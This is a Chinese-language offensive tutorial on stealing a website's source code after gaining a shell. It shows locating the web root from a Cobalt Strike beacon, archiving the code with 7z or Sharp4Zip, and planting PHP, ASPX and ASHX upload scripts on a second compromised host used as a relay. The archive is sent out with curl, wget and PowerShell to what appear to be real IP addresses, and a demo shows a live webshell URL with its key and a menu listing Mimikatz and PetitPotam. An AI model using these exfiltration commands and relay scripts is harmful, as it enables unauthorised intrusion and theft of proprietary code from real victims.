

# 拿到shell快速定位到web目录脱源码

## 快速定位web目录

假如web页面是：<http://59.75.8.40:8000>

页面有一个js，<http://59.75.8.40:8000/javascript/My97DatePicker/WdatePicker.js>

windows

```
dir /s /b c:\WdatePicker.js
```

```
beacon> dir /s /b e:\WdatePicker.js
[-] Unknown command: dir /s /b e:\WdatePicker.js
beacon> shell dir /s /b e:\WdatePicker.js
[*] Tasked beacon to run: dir /s /b e:\WdatePicker.js
[+] host called home, sent: 58 bytes
[+] received output:
e:\北辰软件\WebAdmin(每日发布文件)\javascript\My97DatePicker\WdatePicker.js
e:\北辰软件\WebAdmin(每日发布文件)\NEMS\My97DatePicker\WdatePicker.js
e:\北辰软件\WebAdmin(每日发布文件)\PCT\My97DatePicker\WdatePicker.js
e:\北辰软件\WebAdmin(每日发布文件)\PCTHighSchool\My97DatePicker\WdatePicker.js
```

压缩则上传压缩软件

## 快速压缩

7z

需要上传7z.exe和7z.dll

```
D:\Honghua\7z.exe a -tzip D:\Honghua\123.zip D:\Honghua\hhsoft20221011\*
```

压缩内容不包含jpg, png, mp4等

```
D:\Honghua\7z.exe a -tzip D:\Honghua\123.zip D:\Honghua\hhsoft20221011\* -x!*.jpg -x!*.png
-x!*.mp4
```

```
"E:\123\7z.exe" a -tzip "E:\123\haha.zip" "E:\北辰软件\WebAdmin(每日发布文件)\*" -x!*.jpg -
x!*.png -x!*.mp4
```

sharp4zip

```
Sharp4Zip.exe z dir D:\7z\123 D:\123.zip ".jpg,.gif,.png"
```

```
Sharp4Zip.exe z dir D:\7z\123 D:\123.zip ".jpg,.gif,.png,.bak,.mp4"
```

```
E:\123\Sharp4Zip.exe z dir E:\北辰软件\WebAdmin(每日发布文件) E:\123\sha.zip  
".jpg,.gif,.png,.bak,.mp4"
```

## Sharp4Zip2AOTv1.1（不需要.net环境）

```
Sharp4AOT.exe z dir d:\\test\\ d:\\1.zip "website,ctest" ".jpg,.gif"
```

## linux

```
find / -name "WdatePicker.js"
```

# 快速获取

## 文件移动（有出网web服务）

```
move "E:\123\sha.zip" "E:\北辰软件\WebAdmin(每日发布文件)\javascript\sha.zip"  
  
D:\ASCVN\WEBSITE\WEB_UFBA_VIECLAM\NetJob\Admin\Uploads\files\2024-04\test.zip  
  
D:/ASCVN/WEBSITE/00_BAK/WEB_UFBA_SINHVIEN/test.zip  
  
move "D:\ASCVN\WEBSITE\00_BAK\WEB_UFBA_SINHVIEN\test.zip"  
"D:\ASCVN\WEBSITE\WEB_UFBA_VIECLAM\NetJob\Admin\Uploads\files\2024-04\test.zip"
```

这个移动压缩包到web目录即可

参考：<https://www.cnblogs.com/heycomputer/articles/10697539.html>

## 上传压缩包到某页面

我们不可能脱源码把源码上传到我们的服务器，这样太危险了，所以这个脚本是放在其他你已经拿到webshell的主机上，把他当成中介，另外脚本应该放在web目录下

## php

放在被控webshell上

```
<?php  
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {  
    $allowed_extensions = array('zip', 'rar', '7z', 'tar');  
    $upload_dir = './';  
  
    $file_extension = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));  
  
    if (in_array($file_extension, $allowed_extensions)) {  
        $upload_path = $upload_dir . $_FILES['file']['name'];  
        move_uploaded_file($_FILES['file']['tmp_name'], $upload_path);  
        echo "success! <br>";  
    }  
}
```

```

        echo "path: . realpath($upload_path);
    } else {
        echo "only .zip、.rar、.7z、.tar";
    }
    exit();
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>upload file</title>
</head>
<body>
    <h1>upload file</h1>
    <form action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]); ?>" method="POST"
    enctype="multipart/form-data">
        <input type="file" name="file" accept=".zip, .rar, .7z, .tar">
        <input type="submit" value="upload">
    </form>
</body>
</html>

```

## 被控主机命令行上传源码

```
curl -F file=@D:/yakit/Yakit/yakit-projects/1.zip http://localhost/webshell.php
```

```

C:\Windows\system32>
C:\Windows\system32>
C:\Windows\system32>curl -F "file=@D:/yakit/Yakit/yakit-projects/1.zip" http://localhost/webshell.php
success! <br>path: D:\phpStudy\phpstudy_pro\WWW\1.zip
C:\Windows\system32>_

```

```

wget --post-file=D:/App.rar
http://111.77.154.178:1980/static/webim/document/201812/uploadzip.php

```

## dotnet

### aspx

```

<%@ Page Language="C#" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System" %>
<!DOCTYPE html>

<script runat="server">
    protected void Page_Load(object sender, EventArgs e)
    {
        if (Request.HttpMethod == "POST" && Request.Files.Count > 0)
        {
            string[] allowedExtensions = { ".zip", ".rar", ".7z", ".tar" };

```

```

string uploadDir = Server.MapPath("~/");

HttpPostedFile file = Request.Files[0];
string fileExtension = Path.GetExtension(file.FileName).ToLower();

if (allowedExtensions.Contains(fileExtension))
{
    string uploadPath = Path.Combine(uploadDir,
Path.GetFileName(file.FileName));
    file.SaveAs(uploadPath);
    Response.Write("Success!<br>");
    Response.Write("Path: " + uploadPath);
}
else
{
    Response.Write("Only .zip, .rar, .7z, .tar files are allowed.");
}

Response.End();
}
}
</script>

<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
    <title>Upload File</title>
</head>
<body>
    <h1>Upload File</h1>
    <form id="form1" runat="server" method="post" enctype="multipart/form-data">
        <input type="file" name="file" accept=".zip, .rar, .7z, .tar">
        <input type="submit" value="Upload" />
    </form>
</body>
</html>

```

## 被控主机命令行上传源码

```
curl -F file=@D:/yakit/Yakit/yakit-projects/1.zip https://localhost:44311/Content/1.aspx
```

```

C:\Windows\system32>
C:\Windows\system32>
C:\Windows\system32>curl -F "file=@D:/yakit/Yakit/yakit-projects/1.zip" https://localhost:44311/Content/1.aspx
Success!<br>Path: D:\vs2022\web\test\MVC4\MVC4\1.zip
C:\Windows\system32>
C:\Windows\system32>
C:\Windows\system32>

```

## ashx

```

<%@ WebHandler Language="C#" Class="FileUploadHandler" %>

using System;

```

```

using System.Web;
using System.IO;
using System.Linq;

public class FileUploadHandler : IHttpHandler
{
    public void ProcessRequest(HttpContext context)
    {
        if (HttpContext.Current.Request.HttpMethod == "POST" &&
HttpContext.Current.Request.Files.Count > 0)
        {
            string[] allowedExtensions = { ".zip", ".rar", ".7z", ".tar" };
            string uploadDir = HttpContext.Current.Server.MapPath("~/");

            HttpPostedFile file = HttpContext.Current.Request.Files[0];
            string fileExtension = Path.GetExtension(file.FileName).ToLower();

            if (allowedExtensions.Any(ext => ext.Equals(fileExtension,
StringComparison.OrdinalIgnoreCase)))
            {
                string uploadPath = Path.Combine(uploadDir,
Path.GetFileName(file.FileName));
                file.SaveAs(uploadPath);
                HttpContext.Current.Response.Write("Success!<br>");
                HttpContext.Current.Response.Write("Path: " + uploadPath);
            }
            else
            {
                HttpContext.Current.Response.Write("Only .zip, .rar, .7z, .tar files are
allowed.");
            }

            HttpContext.Current.Response.End();
        }

        public bool IsReusable
        {
            get { return false; }
        }
    }
}

```

放在被控webshell上

```
curl -F file=@D:/yakit/Yakit/yakit-projects/1.zip https://localhost:44311/content/1.ashx
```

```
C:\Windows\system32>
C:\Windows\system32>
C:\Windows\system32>curl -F "file=@D:/yakit/Yakit/yakit-projects/1.zip" https://localhost:44311/content/1.ashx
Success!<br>Path: D:\vs2022\web\test\MVC4\MVC4\1.zip
C:\Windows\system32>
```

java的如果没有安装上传的库那就无法利用了

## 上传命令

### curl






```
curl -F file=@D:/yakit/Yakit/yakit-projects/1.zip https://localhost:44311/content/1.ashx
```

### powershell脚本

无响应

```
$filePath = "D:\Kunwu\1.zip"
$uploadUrl = "http://111.77.154.178:1980/static/webim/document/201812/uploadzip.php"
$webClient = New-Object System.Net.WebClient
$fileBytes = [System.IO.File]::ReadAllBytes($filePath)
try {
    $uri = New-Object System.Uri($uploadUrl)
    $result = $webClient.UploadFile($uri, "POST", $fileBytes)
    Write-Host "success: $result"
}
catch {
    Write-Host "fail: $_"
}
$webClient.Dispose()
```

```
D:\goland\file\fsan中文>
D:\goland\file\fsan中文>powershell .\haha.ps1
編兩次消息紅總忽响: 115 117 99 99 101 115 115 239 188 129 60 98 114 62 112 97 116 104 58 32 47 109 110 116 47 104 116 109 108 47 115 116 97 116 105 99 47 119 101 98
109 47 100 111 99 117 109 101 110 116 47 50 48 49 56 49 50 47 49 46 122 105 112
D:\goland\file\fsan中文>powershell .\haha.ps1
編兩次消息紅總忽响: 115 117 99 99 101 115 115 239 188 129 60 98 114 62 112 97 116 104 58 32 47 109 110 116 47 104 116 109 108 47 115 116 97 116 105 99 47 119 101 98
109 47 100 111 99 117 109 101 110 116 47 50 48 49 56 49 50 47 49 46 122 105 112
D:\goland\file\fsan中文>
```

/mnt/html/static/webim/document/201812/			
icon	name	type	lastl
	1.zip	file	2024-05
	539354793ee080be0f345a9d403c8f3a.docx	file	2020-07
	c069fbfc18002b5efadacc849dd6a3a6.txt	file	2020-07
	e3d556552a85b06b6009b611d52a0ea9.txt	file	2020-07
	uploadzip.php	file	2024-05

## 实战演示

## 第一步，上传上传脚本

```
http://111.77.154.178:1980/static/webim/document/201812/uploadzip.php
```

## 第二步，脱被控主机源码

```
D:/App.rar
```

## 第三步，执行上传命令

```
curl -F file=@D:/App.rar  
http://111.77.154.178:1980/static/webim/document/201812/uploadzip.php
```

## 发现curl不存在，改成powershell脚本

```
$filePath = "D:\App.rar"  
$uploadUrl = "http://111.77.154.178:1980/static/webim/document/201812/uploadzip.php"  
$webClient = New-Object System.Net.WebClient  
$fileBytes = [System.IO.File]::ReadAllBytes($filePath)  
try {  
    $uri = New-Object System.Uri($uploadUrl)  
    $result = $webClient.UploadFile($uri, "POST", $filePath)  
    Write-Host "success: $result"  
}  
catch {  
    Write-Host "fail: $_"  
}  
$webClient.Dispose()
```

Url:http://39.98.166.223:9000/shell.aspx?rSFSByP3cPIC0hkC=m87zs7p3i61nqnh7 Payload:CShapDynamicPayload Crypton:CSHAP\_AES\_RAW openCache:true useCache:fal

PetitPotam	MemoryShell	ShellcodeLoader	SuperTerminal	HttpProxy	lemon	EfsPotato	Mimikatz
基础信息	命令执行		文件管理		数据库管理		笔记

命令模板 cmd /c "{command}" 2>&1

```
currentDir:c:\windows\system32\inetsrv/  
fileRoot[C:\, D:\]  
currentUser:DefaultAppPool  
osInfo:Microsoft Windows NT 6.1.7601 Service Pack 1  
  
c:\windows\system32\inetsrv/ >cd D:/360Downloads/  
  
D:\360Downloads  
D:\360Downloads > powershell .\haha.ps1  
  
success: 115 117 99 99 101 115 115 239 188 129 60 98 114 62 112 97 116 104 58 32 47 109 110 116 47 104 116 109 108 47 115 116 97 116 105 99 47 119 101 98 105 109  
D:\360Downloads >
```

## 第四步，下载文件

```
http://111.77.154.178:1980/static/webim/document/201812/App.rar
```

如果是linux下通常就是curl命令

```
curl -F file=@/ava_app/school/src/tomcat/webapps/ROOT/WEB-INF/haha.zip
http://111.77.154.178:1980/static/webim/document/201812/uploadzip.php
```

基础信息

命令执行

文件管理

数据库管理

笔记

网络详情

插件标签管理

EnumDatabaseConn

Z

命令模板sh -c "{command}" 2>&1

/ava\_app/school/src/tomcat/webapps/ROOT/WEB-INF >curl -F file=@/ava\_app/school/src/tomcat/webapps/ROOT/WEB-INF/haha.zip http://111.77.154.178:1980/static/webim/document/201812/uploadzip.php

success! <br>path: /mnt/html/static/webim/document/201812/haha.zip % Total % Received % Xferd Average Speed Time Time Time Current

Download Upload Total Spent Left Speed

0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0100 272 100 67 100 205 1488 4555 --:--:-- --:--:-- --:--:-- 6044

/ava\_app/school/src/tomcat/webapps/ROOT/WEB-INF >|